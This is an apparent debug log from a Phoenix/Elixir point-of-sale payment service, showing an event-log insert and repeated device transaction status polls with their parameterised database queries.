[Thu Sep  3 12:36:01.294000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:51934] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788438961, device_id: "98250623730001", amount: 150}, event_name: "Response From Publish Txn", refrence_id: "ch889241839013", transaction_id: nil, date_added: ~U[2026-09-03 12:36:01.294424Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 12:36:01.330000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51934] QUERY OK db=27.8ms queue=5.1ms idle=132.4ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788438961, device_id: "98250623730001", amount: 150}, "Response From Publish Txn", "ch889241839013", ~U[2026-09-03 12:36:01Z], 38, "response_from_publish_txn", ~N[2026-09-03 12:36:01], ~N[2026-09-03 12:36:01]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:36:01.330000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51934] Successfully created custom event log with ID: 40227
[Thu Sep  3 12:36:01.331000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51934] Publish successful to 98250623730001 with ref: #Reference<0.2525715032.1112801281.119433>
[Thu Sep  3 12:36:01.331000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51934] Sent 200 in 203ms
[Thu Sep  3 12:36:07.052000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51938] POST /api/device/status
[Thu Sep  3 12:36:07.052000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:51938] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:36:07.053000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51938] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:36:07.053000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51938] Transaction reference number: "ch889241839013"
[Thu Sep  3 12:36:07.070000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51938] QUERY OK source="pos_transaction" db=17.1ms idle=1994.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:36:07.071000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51938] QUERY OK source="pos_temp_transaction" db=0.5ms queue=0.1ms idle=461.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:36:07.075000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51938] QUERY OK source="pos_failed_transaction" db=3.2ms idle=230.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:36:07.076000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51938] QUERY OK source="cloud_transaction" db=0.6ms idle=145.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:36:07.076000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51938] Sent 200 in 24ms
[Thu Sep  3 12:36:12.015000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34614] POST /api/device/status
[Thu Sep  3 12:36:12.016000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:34614] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:36:12.016000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34614] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:36:12.016000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34614] Transaction reference number: "ch889241839013"
[Thu Sep  3 12:36:12.029000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34614] QUERY OK source="pos_transaction" db=12.6ms idle=958.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:36:12.032000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34614] QUERY OK source="pos_temp_transaction" db=2.4ms queue=0.1ms idle=971.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:36:12.035000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34614] QUERY OK source="pos_failed_transaction" db=2.7ms queue=0.1ms idle=974.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:36:12.037000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34614] QUERY OK source="cloud_transaction" db=1.4ms idle=977.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:36:12.038000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34614] Sent 200 in 22ms
[Thu Sep  3 12:36:17.032000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:60232] POST /api/device/status
[Thu Sep  3 12:36:17.033000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:60232] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:36:17.034000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60232] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:36:17.036000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60232] Transaction reference number: "ch889241839013"
[Thu Sep  3 12:36:17.049000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60232] QUERY OK source="pos_transaction" db=12.9ms idle=1978.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:36:17.051000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60232] QUERY OK source="pos_temp_transaction" db=1.6ms idle=1991.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:36:17.054000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60232] QUERY OK source="pos_failed_transaction" db=2.8ms idle=1993.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:36:17.055000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60232] QUERY OK source="cloud_transaction" db=0.7ms idle=1996.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:36:17.056000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:60232] Sent 200 in 23ms
[Thu Sep  3 12:36:22.187000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:60238] POST /api/device/status
[Thu Sep  3 12:36:22.188000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:60238] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:36:22.188000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60238] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:36:22.188000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60238] Transaction reference number: "ch889241839013"
[Thu Sep  3 12:36:22.203000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60238] QUERY OK source="pos_transaction" db=15.1ms idle=1128.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:36:22.204000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60238] QUERY OK source="pos_temp_transaction" db=0.5ms queue=0.1ms idle=1141.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:36:22.207000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60238] QUERY OK source="pos_failed_transaction" db=2.4ms idle=538.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:36:22.209000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60238] QUERY OK source="cloud_transaction" db=1.1ms queue=0.2ms idle=233.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:36:22.210000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:60238] Sent 200 in 22ms
[Thu Sep  3 12:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1661.2ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 12:36:27.071000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34796] POST /api/device/status
[Thu Sep  3 12:36:27.072000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:34796] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:36:27.072000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34796] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:36:27.072000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34796] Transaction reference number: "ch889241839013"
[Thu Sep  3 12:36:27.086000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34796] QUERY OK source="pos_transaction" db=13.1ms idle=1012.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:36:27.087000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34796] QUERY OK source="pos_temp_transaction" db=0.5ms idle=1026.2ms
